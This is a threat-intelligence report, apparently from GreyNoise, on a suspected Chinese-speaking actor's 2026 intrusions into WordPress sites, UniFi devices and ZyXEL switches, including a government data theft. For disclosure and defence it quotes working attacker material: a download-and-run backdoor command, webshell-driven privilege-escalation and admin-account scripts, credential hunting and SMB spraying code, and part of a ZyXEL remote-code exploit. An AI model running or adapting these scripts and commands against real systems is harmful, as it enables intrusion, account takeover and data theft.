GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of an IP address since early June 2026 due to its frequent use in scans and attacks against a variety of technologies. We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update.

While numerous adversaries have commonalities, adversary behavior is not monolithic. One security opinion is that adversaries rotate through IP addresses such that blocking them is a fruitless endeavor. This may be true in certain situations, but we have observed several cases where it is not. GreyNoise has observed one particular IP address scanning and attacking our decoys for multiple years, however, we are confident that activity from 7 May 2026 onwards is associated with a single malicious cyber actor (MCA). This MCA is a suspected Chinese speaker possibly working in UTC+8 based on the operational timeline and copious amounts of Chinese language comments contained within their custom tools and scripts. The adversary is the same or related to “Red Heron” reported on by Acronis based on use of the same command and control (C2) domain, malware family, exploitation of Gitea in July, and other tactics, techniques, and procedures (TTPs). GreyNoise observed the MCA scanning and attacking a variety of technologies throughout the last few months. We detail a few of the more notable intrusions we observed including the theft of more than 18,000 sensitive records from a western government. Though we did not identify any specific artificial intelligence tools in use, GreyNoise suspects the MCA used a large language model (LLM) to generate their custom tools due to behavior patterns found in the code, the rapid iteration, and code comments. For example, between iterations of the same tool, some code functionality did not meaningfully change, but the actual content did:

These types of superficial changes are generally a waste of time for a human and a strong indicator the code was likely generated by a LLM.

In addition to the above findings, GreyNoise discovered the MCA targeted ZyXEL GS1900 Smart Managed Switches globally with a novel exploit of CVE-2026-7273. As of 17 September 2026, this is the first publicly documented case of exploitation in the wild of this vulnerability, which is also not on the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) catalog at the time of publication. The MCA successfully exploited and exfiltrated sensitive data from 996 ZyXEL switches across 48 countries.

These observations and others are derived from data sourced from the GOG and adversary infrastructure.

Exploitation Timeline

Date Exploitation or Targeted Technology CISA KEV
2026-06-11 PAN-OS GlobalProtect (Unknown) N/A
2026-06-12 UniFi OS - CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910 2026-06-23
2026-07-13 FlowiseAI - CVE-2026-56271 NOT YET
2026-07-20 WordPress - CVE-2026-63030, CVE-2026-60137 2026-07-21
2026-07-23 Linux Kernel - CVE-2022-0847 2022-04-25
2026-07-30 Gitea - CVE-2026-60004 2026-08-25
2026-08-13 Nuclio - CVE-2026-79756 NOT YET
2026-08-17 ZyXEL GS1900 - CVE-2026-7273 NOT YET
2026-08-27 SENAITE LIMS - CVE-2026-54569 NOT YET
2026-09-03 Proxmox VE - CVE-2023-54391 NOT YET

Ubiquiti UniFi OS

On 12 June, the adversary attempted to exploit a chain of vulnerabilities (CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910) to achieve remote code execution (RCE) against unpatched Ubiquiti devices. These vulnerabilities were added to the CISA KEV catalog on 23 June. The adversary attempted to coerce the targeted devices to download and execute a backdoor from a separate staging server:

wget http://74.48.66.73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh

The adversary made another attempt using a different URL on 15 June:

https://www.[redacted].com.tw/[redacted]/ssh

This URL appears to be compromised infrastructure associated with a Taiwanese manufacturing company. In the first round of exploitation using 74.48.66[.]73, a malicious backdoor (2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) was delivered to targets. This backdoor used p3.981666[.]xyz:6379 to establish a C2 channel.

WordPress 

On or about 20 July, the adversary began targeting WordPress installations with the wp2shell exploit chain (CVE-2026-63030 and CVE-2026-60137). Unfortunately, they found success against at least 49 organizations across 29 countries primarily in small business and governmental sectors. In a red-on-red incident, the adversary also compromised a Russian state entity in Russia-occupied Ukraine. The most egregious data theft occurred against an identified western governmental organization involving more than 18,000 sensitive records stolen from its backend database. The following timeline describes that intrusion and is reconstructed using file modification timestamps which were preserved. Exact times may differ from an official forensic investigation.

WordPress Intrusion Timeline

2026-07-22T01:27:00Z: MCA uses a custom WordPress exploit chain for CVE-2026-63030 and CVE-2026-60137 against the target, and deploys a custom webshell. 

2026-07-22T01:38:29Z: MCA dumps the WordPress user table; 13 WordPress administrator accounts stolen.

2026-07-22T01:48:38Z - 02:05:11: MCA logs into wp-admin, adds a new account that masquerades as a valid @victimdomain email account and changes the account user_registered date to a day in 2025 in order to blend into the site’s legitimate account history.

2026-07-22T02:09:58Z: MCA uploads a custom information collection plugin to enumerate the WordPress install end to end.

2026-07-22T02:22:36Z: MCA uses previously uploaded webshell to conduct reconnaissance and the remainder of the intrusion.

powershell -c "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,BehaviorMonitorEnabled | Format-List"

dir C:\\Windows\\Microsoft.NET\\Framework64\\v4* /b

certutil -hashfile C:\\Windows\\System32\\cmd.exe MD5

powershell -c "(Get-MpComputerStatus).AMProductVersion"

echo test123 > %TEMP%\\test_write.txt && type %TEMP%\\test_write.txt && del %TEMP%\\test_write.txt

net user

powershell.exe -NoProfile -Command "try{$s=Get-MpPreference;Write-Host RTP:$($s.DisableRealtimeMonitoring);Write-Host Excl:$($s.ExclusionPath -join \",\")}catch{Write-Host ERROR:$_}"

C:\\Windows\\System32\\net.exe user

wmic product where "name like \'%security%\' or name like \'%antivirus%\' or name like \'%defender%\'" get name 2>&1

C:\\Windows\\System32\\inetsrv\\appcmd.exe list site 2>&1

cd

netstat -an | findstr LISTENING

cmd /c "net user" 2>&1

reg query "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring 2>&1

echo OK > C:\\Windows\\Temp\\test_kp.txt && type C:\\Windows\\Temp\\test_kp.txt && del C:\\Windows\\Temp\\test_kp.txt 2>&1

sc query Spooler 2>&1

findstr /i "DB_PASSWORD DB_USER DB_HOST" C:\\inetpub\\Wordpress\\wp-config.php 2>&1

dir C:\\inetpub /b

reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users" 2>&1

reg query "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" 2>&1

powershell.exe -NoProfile -ep bypass -c "$ExecutionContext.SessionState.LanguageMode"

dir "C:\\Program Files\\MySQL" /b /s 2>&1

sc query type= service state= all | findstr /i mysql

sc qc a5Backup64 2>&1

powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'http://httpbin.org/get\')" 2>&1

2026-07-22T02:31:12Z - 03:07:38Z: MCA uses at least 17 different variations of scripts in an attempt to bypass Microsoft’s Antimalware Scan Interface (AMSI), escalate privileges using Token Impersonation and Theft, create a local administrator account, and dump data from the registry.

#!/usr/bin/env python3
"""
尝试通过PowerShell反射加载GodPotato进行提权
方案:从GitHub下载GodPotato到内存,通过反射加载执行
"""
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

shell_url = "https://[redacted]/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 方案1: 尝试用PowerShell内存加载PrintSpoofer
# 先测试PowerShell是否被AMSI拦截
print("=== Test AMSI ===")
r = run('powershell.exe -NoProfile -ep bypass -c "Write-Host AMSI_OK"')
print(r)
print()

# 方案2: 直接用PHP的COM对象 (Windows专属)
# WScript.Shell可以提权吗?不行,但可以测试
print("=== Test COM WScript.Shell ===")
# 通过PHP创建一个小脚本来测试COM
php_test = """<?php
if(class_exists('COM')){echo 'COM:YES';}else{echo 'COM:NO';}
echo "\\n";
// 测试proc_open以SYSTEM运行
$desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$proc = proc_open('whoami /priv', $desc, $pipes);
if($proc){
    echo stream_get_contents($pipes[1]);
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    proc_close($proc);
}
"""
# 写到temp然后通过webshell调用
print(run('echo test > C:\\Windows\\Temp\\test_potato.txt && echo WRITE_OK'))
print()

# 方案3: 最简单 - 直接用certutil下载+执行
# 但这会被Defender拦。。。

# 方案4: 用PowerShell的NamedPipe + SeImpersonate做PrintSpoofer风格提权
# 这是纯PowerShell实现,不需要额外文件
print("=== PowerShell PrintSpoofer (in-memory) ===")

# 简化版:直接尝试用PowerShell的.NET反射做potato
# 先试试能不能执行较复杂的PS命令
ps_test = 'powershell.exe -NoProfile -ep bypass -c "$a=[Security.Principal.WindowsIdentity]::GetCurrent();Write-Host $a.Name;Write-Host ImpersonationLevel:$($a.ImpersonationLevel)"'
print(run(ps_test))
print()

# 尝试用 msbuild 执行C#代码(LOLBin,Defender一般不拦msbuild本身)
print("=== MSBuild available? ===")
print(run('dir C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe 2>&1'))
print()

# 方案5: 最稳的 - 用MSBuild执行内联C# Potato
print("=== Trying MSBuild Potato ===")
# 写一个MSBuild项目文件内含C# Potato代码
msbuild_xml = r'''<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <Exec Command="cmd /c whoami > C:\Windows\Temp\potato_out.txt 2>&amp;1" />
  </Target>
</Project>'''

# 先写msbuild文件
cmd_write = 'echo ^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<Target Name="Run"^>^<Exec Command="cmd /c whoami ^> C:\\Windows\\Temp\\potato_out.txt 2^>^&amp;1" /^>^</Target^>^</Project^> > C:\\Windows\\Temp\\test.proj'
print(run(cmd_write))
print(run('C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Temp\\test.proj /t:Run /nologo 2>&1'))
print(run('type C:\\Windows\\Temp\\potato_out.txt 2>&1'))

#!/usr/bin/env python3
"""
方案1: ImpersonateLoggedOnUser in-process
获取SYSTEM token后不创建新进程,而是在当前PS进程内impersonate
然后用.NET方法直接执行特权操作
"""
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=300)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

# PowerShell脚本: 用GodPotato获取SYSTEM token,然后用ImpersonateLoggedOnUser
# 在当前进程内impersonate,用DirectoryServices.AccountManagement创建用户
ps_script = r'''
$outFile = "C:\Windows\Temp\imp_out.txt"
"[*] Starting in-process impersonation..." | Out-File $outFile

try {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    
    Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class TokenHelper {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool RevertToSelf();
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool DuplicateTokenEx(IntPtr hExisting, uint access, IntPtr ta, int il, int tt, out IntPtr hNew);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr proc, uint access, out IntPtr token);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
    
    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr h);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
    
    public static IntPtr GetSystemToken() {
        // 找到一个SYSTEM进程的token
        var procs = System.Diagnostics.Process.GetProcessesByName("winlogon");
        foreach(var p in procs) {
            IntPtr hProc = OpenProcess(0x0400, false, p.Id);
            if(hProc == IntPtr.Zero) continue;
            IntPtr hToken;
            if(OpenProcessToken(hProc, 0x0002 | 0x0004 | 0x0008, out hToken)) {
                IntPtr dupToken;
                if(DuplicateTokenEx(hToken, 0x02000000, IntPtr.Zero, 2, 2, out dupToken)) {
                    CloseHandle(hToken);
                    CloseHandle(hProc);
                    return dupToken;
                }
                CloseHandle(hToken);
            }
            CloseHandle(hProc);
        }
        return IntPtr.Zero;
    }
}
"@

    # 方法A: 直接从SYSTEM进程偷token并impersonate
    "[*] Trying direct token theft from winlogon..." | Out-File $outFile -Append
    $token = [TokenHelper]::GetSystemToken()
    "[*] Token handle: $token (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
    
    if($token -ne [IntPtr]::Zero) {
        $r = [TokenHelper]::ImpersonateLoggedOnUser($token)
        "[*] ImpersonateLoggedOnUser: $r (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
        $id = [Security.Principal.WindowsIdentity]::GetCurrent()
        "[*] Current identity: $($id.Name) (level: $($id.ImpersonationLevel))" | Out-File $outFile -Append
        
        if($id.Name -match "SYSTEM") {
            "[+] GOT SYSTEM IN CURRENT THREAD!" | Out-File $outFile -Append
            
            # 现在我们是SYSTEM,直接用.NET创建用户
            try {
                Add-Type -AssemblyName System.DirectoryServices.AccountManagement
                $ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
                $user = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($ctx)
                $user.Name = "kapibala2"
                $user.SetPassword("<REDACTED>")
                $user.Enabled = $true
                $user.Save()
                "[+] User kapibala2 created!" | Out-File $outFile -Append
                
                # 加入管理员组
                $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($ctx, "Administrators")
                $group.Members.Add($user)
                $group.Save()
                "[+] Added to Administrators!" | Out-File $outFile -Append
            } catch {
                "[!] User creation error: $_" | Out-File $outFile -Append
            }
            
            # 读取SAM
            try {
                $sam = reg save HKLM\SAM C:\Windows\Temp\sam.hiv /y 2>&1
                "[*] SAM save: $sam" | Out-File $outFile -Append
            } catch {
                "[!] SAM error: $_" | Out-File $outFile -Append
            }
        }
        
        [TokenHelper]::RevertToSelf()
        [TokenHelper]::CloseHandle($token)
    } else {
        "[-] Could not get SYSTEM token directly (Access Denied expected)" | Out-File $outFile -Append
        
        # 方法B: 用GodPotato获取token然后impersonate
        "[*] Falling back to GodPotato method..." | Out-File $outFile -Append
        $bytes = (New-Object Net.WebClient).DownloadData("https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe")
        $asm = [System.Reflection.Assembly]::Load($bytes)
        "[*] GodPotato loaded" | Out-File $outFile -Append
        
        # GodPotato没有直接暴露token的API,它只能CreateProcessWithTokenW
        # 需要修改方法...
        # 尝试用GodPotato执行一个PowerShell命令来impersonate
        [string[]]$a = @("-cmd", "powershell.exe -NoProfile -c `"[Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-File C:\Windows\Temp\god_id.txt`"")
        $asm.EntryPoint.Invoke($null, @(,$a))
        Start-Sleep 3
        "[*] GodPotato executed" | Out-File $outFile -Append
    }
} catch {
    "ERROR: $_ `n$($_.Exception.InnerException)" | Out-File $outFile -Append
}
'''

print("[*] Writing impersonation script...")
write_file("C:\\Windows\\Temp\\imp.ps1", ps_script)

print("[*] Executing (in-process impersonation)...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\imp.ps1 2>&1')
print(f"PS output: {result[:300]}")
print()

time.sleep(3)

print("[*] Impersonation log:")
print(run('type C:\\Windows\\Temp\\imp_out.txt 2>&1'))
print()

print("[*] Check user:")
print(run('net user kapibala2 2>&1'))
print()

print("[*] Check SAM hive:")
print(run('dir C:\\Windows\\Temp\\sam.hiv 2>&1'))

2026-07-22T03:17:41Z: MCA used a custom tool to search for cleartext credentials in readable files. This produced usable findings including credentials to a backend SQL database.

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "https://[redacted]"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 1. GoLive ASP连接字符串 (经典ASP站点很可能有硬编码密码)
print("="*60)
print("[1] GoLive/GlobalVariablesTest.asp (数据库连接)")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\GlobalVariablesTest.asp 2>&1'))
print()

# 2. GoLive登录函数
print("="*60)
print("[2] GoLive/loginfunctions.asp")
print("="*60)
r = run('type C:\\inetpub\\GoLive\\loginfunctions.asp 2>&1')
print(r[:3000])
print()

# 3. Entrust DLL配置 (完整)
print("="*60)
print("[3] <REDACTED>.Bespoke.[redacted].Entrust.dll.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\<REDACTED>.Bespoke.[redacted].Entrust.dll.config 2>&1'))
print()

# 4. FormsTest.exe.config
print("="*60)
print("[4] FormsTest.exe.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\FormsTest.exe.config 2>&1'))
print()

# 5. NR3Update配置
print("="*60)
print("[5] NR3Update 目录")
print("="*60)
print(run('dir C:\\inetpub\\NR3Update /b 2>&1'))
print()

# 6. APIs子目录配置
print("="*60)
print("[6] APIs\\NR3API")
print("="*60)
print(run('dir C:\\inetpub\\APIs\\NR3API /b 2>&1'))
print()

# 7. 搜索所有含password的配置文件
print("="*60)
print("[7] 全局密码搜索")
print("="*60)
print(run('findstr /si "password pwd passwd conn" C:\\inetpub\\GoLive\\*.asp C:\\inetpub\\GoLive\\*.config 2>&1')[:3000])
print()

# 8. Backup目录
print("="*60)
print("[8] Backup目录")
print("="*60)
print(run('dir C:\\inetpub\\Backup /b 2>&1'))
print()

# 9. FTP root
print("="*60)
print("[9] ftproot")
print("="*60)
print(run('dir C:\\inetpub\\ftproot /b 2>&1'))

2026-07-22T03:30:41Z: MCA used a custom tool to “pack the loot” (stolen files) by using PowerShell to create and stage a ZIP archive in a web-reachable path.

2026-07-22T03:31:25Z: MCA downloads the previously staged ZIP archive which contains source code, credentials, and additional sensitive information.

2026-07-22T04:02:01Z: MCA operationalizes the stolen credentials by conducting password spraying using custom tools. The adversary successfully gains access to an internal SQL database.

2026-07-22T04:08:32Z: MCA produces and executes two tools to bulk extract sensitive information from the SQL server. The tools use similar archiving and staging procedures as previously noted.

2026-07-22T04:09:20Z: MCA downloads the data they stole from the SQL database. At minimum, 18,566 records including accounts, plaintext passwords, and personally identifiable information (PII) associated with law enforcement and government agencies.

2026-07-22T05:36:41Z: MCA resumes activity and attempts broader password spraying internally and continues operations until at least 06:01:40Z. 

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

ps_script = '''$out = ""

# SMB到SQL Server (192.168.200.22) 测试凭据
$target = "192.168.200.22"

$creds = @(
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)

$out += "[*] SMB spray to $target...`n"
foreach($c in $creds) {
    $u = $c[0]; $p = $c[1]
    # 先清理旧连接
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\$target\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] SUCCESS: $u / $p`n"
        $shares = net view "\\\\$target" 2>&1 | Out-String
        $out += "  Shares: $shares`n"
        net use "\\\\$target\\IPC$" /delete /y 2>&1 | Out-Null
    } else {
        $errMsg = $r.Trim() -replace "`r`n"," "
        if($errMsg.Length -gt 100) { $errMsg = $errMsg.Substring(0,100) }
        $out += "  [-] $u / $p : $errMsg`n"
    }
}

# 也测试本机
$out += "`n[*] SMB spray to localhost (<REDACTED>)...`n"
$localCreds = @(
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)
foreach($c in $localCreds) {
    $u = $c[0]; $p = $c[1]
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\localhost\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] LOCAL SUCCESS: $u / $p`n"
        net use "\\\\localhost\\IPC$" /delete /y 2>&1 | Out-Null
    }
}

$out += "`n[*] Done.`n"
[IO.File]::WriteAllText("C:\Windows\Temp\smb_spray.txt", $out)
Write-Host "DONE"
'''

print("[*] Writing SMB spray script...")
write_file("C:\\Windows\\Temp\\smb_spray.ps1", ps_script)

print("[*] Executing SMB spray...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\smb_spray.ps1 2>&1')
print(f"  {result}")
print()

time.sleep(2)
print("[*] Results:")
print(run('type C:\\Windows\\Temp\\smb_spray.txt'))

The MCA continued to exploit the aforementioned WordPress vulnerabilities against numerous other entities until refocusing their efforts against additional technologies. Victims of WordPress exploitation included numerous governments and small businesses in the following countries, however, none appeared as severe as the above:

Country Victims
Germany4
Colombia3
Switzerland3
Brazil2
Japan2
Poland2
United Kingdom2
Australia1
Chile1
China1
Czech Republic1
Finland1
France1
Greece1
Hungary1
Iceland1
India1
Madagascar1
Mongolia1
Netherlands1
Pakistan1
Philippines1
Russia-occupied Ukraine1
Slovakia1
South Africa1
Turkey1
Ukraine1
United Arab Emirates1
United States1
Undetermined9
Total49

ZyXEL GS1900 Switches

On or about 17 August, the MCA exploited and exfiltrated sensitive information including configurations, root level credentials (hashed), and networking information from 996 ZyXEL GS1900 Smart Managed Switches in 48 countries.

The exploit code was contained within a Python script which was heavily obfuscated by the commercial obfuscation tool PyArmor. Deobfuscation was accomplished thanks in part to the MCA leaving in place a runtime which pinned the script to PyArmor 6.7.5, a legacy version released in 2021. After deobfuscating the script, we decompiled the resulting bytecode and discovered the script’s sole purpose is to exploit a recently published vulnerability (CVE-2026-7273) impacting ZyXEL GS1900 Smart Managed Switches. While the script explicitly targets firmware versions 2.10-2.90 of the GS1900-24, it does provide command line options (e.g. libc base address, global offsets), for targeting other firmware in scope for the vulnerability:

ap = argparse.ArgumentParser(
    description='Zyxel GS1900 Pre-Auth RCE',
    formatter_class=argparse.RawDescriptionHelpFormatter,
    epilog=("Examples:\n"
            "  %(prog)s http://192.168.1.1 'echo rce>/tmp/pwned'\n"
            "  %(prog)s https://192.168.1.1 '/bin/busybox telnetd -p 2323 -l /bin/sh'\n"
            "  %(prog)s http://192.168.1.1 -m stack -n 5000 'id>/tmp/id'\n\n"
            "Notes:\n"
            "  Command must not contain: & (0x26), = (0x3D), newline, null byte.\n"
            "  GOT mode is deterministic (1 request). Stack mode is ASLR brute-force (~2048 avg)."))
ap.add_argument('url', help='target URL (http://ip or https://ip:port)')
ap.add_argument('command', help='command to execute')
ap.add_argument('-m', '--mode', choices=['got', 'stack', 'auto'], default='auto',
                help='got=deterministic, stack=ASLR brute-force, auto=fingerprint then decide')
ap.add_argument('-n', '--attempts', type=int, default=10000,                 help='max attempts for stack mode (default: 10000)')
ap.add_argument('--libc', type=lambda v: int(v, 0), default=None, help='libc base address override')
ap.add_argument('--req-params', type=lambda v: int(v, 0), default=None, help='reqParameters address override')
ap.add_argument('--strcmp-got', type=lambda v: int(v, 0), default=None, help='strcmp GOT address override')
ap.add_argument('--system-off', type=lambda v: int(v, 0), default=None, help='system() offset in libc override')
ap.add_argument('--no-fingerprint', action='store_true')
args = ap.parse_args()

parsed = urlparse(args.url)
use_ssl = parsed.scheme == 'https'
host = parsed.hostname
port = parsed.port or (443 if use_ssl else 80)
cmd_bytes = args.command.rstrip().encode()
check_bytes(cmd_bytes, 'command')
print('[*] Zyxel GS1900 Pre-Auth RCE', flush=True)
print(f'[*] Target:  {parsed.scheme}://{host}:{port}', flush=True)
mode = args.mode
req_params = args.req_params or DEF_REQ_PARAMS
strcmp_got = args.strcmp_got or DEF_STRCMP_GOT
libc = args.libc
system_off = SYSTEM_OFF

The MCA used the exploit to execute the Trivial File Transfer Protocol (TFTP) tool to get a custom collector script c from the adversary’s infrastructure:

sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1

The collection tool’s final act is staging the collected data for retrieval:

cp /tmp/info /home/web/tmp/info.txt

While the credentials were hashed, 564 of the victims had factory default credentials.

Country Victim Switches
Italy133
United States129
Taiwan123
France90
South Korea69
Netherlands66
Czech Republic49
United Kingdom33
Thailand28
Slovakia27
Bulgaria21
Romania20
Sweden19
Germany18
Finland18
Ireland18
Spain17
Denmark15
Austria13
Russia11
Switzerland8
Poland7
Australia7
Greece7
Hungary6
Belarus5
Ukraine4
Norway4
Guadeloupe4
Lithuania4
Portugal3
Latvia2
Belgium2
Panama2
Iran1
Vietnam1
Monaco1
Martinique1
Turkey1
Albania1
Slovenia1
Malaysia1
Colombia1
Uzbekistan1
Costa Rica1
Malta1
Estonia1
Hong Kong1
Total996

Indicators of Compromise

Indicator of Compromise Note
0e81d80b40eaacbf6cb1e817fb1824c30a824af5cb4faca4aa9b03fd506d480f Backdoor
0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6 Backdoor
2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1 Backdoor
*.981666.xyz C2
74.48.66.73 Staging
<REDACTED> Exploitation
104.225.153.141 C2
172.245.247.21 Exploitation
kapibala2 Account
kapibala Account

This article is a summary of the full, in-depth version on the GreyNoise Labs blog.
Read the full report
GreyNoise Labs logo
Link to GreyNoise Twitter account
Link to GreyNoise Twitter account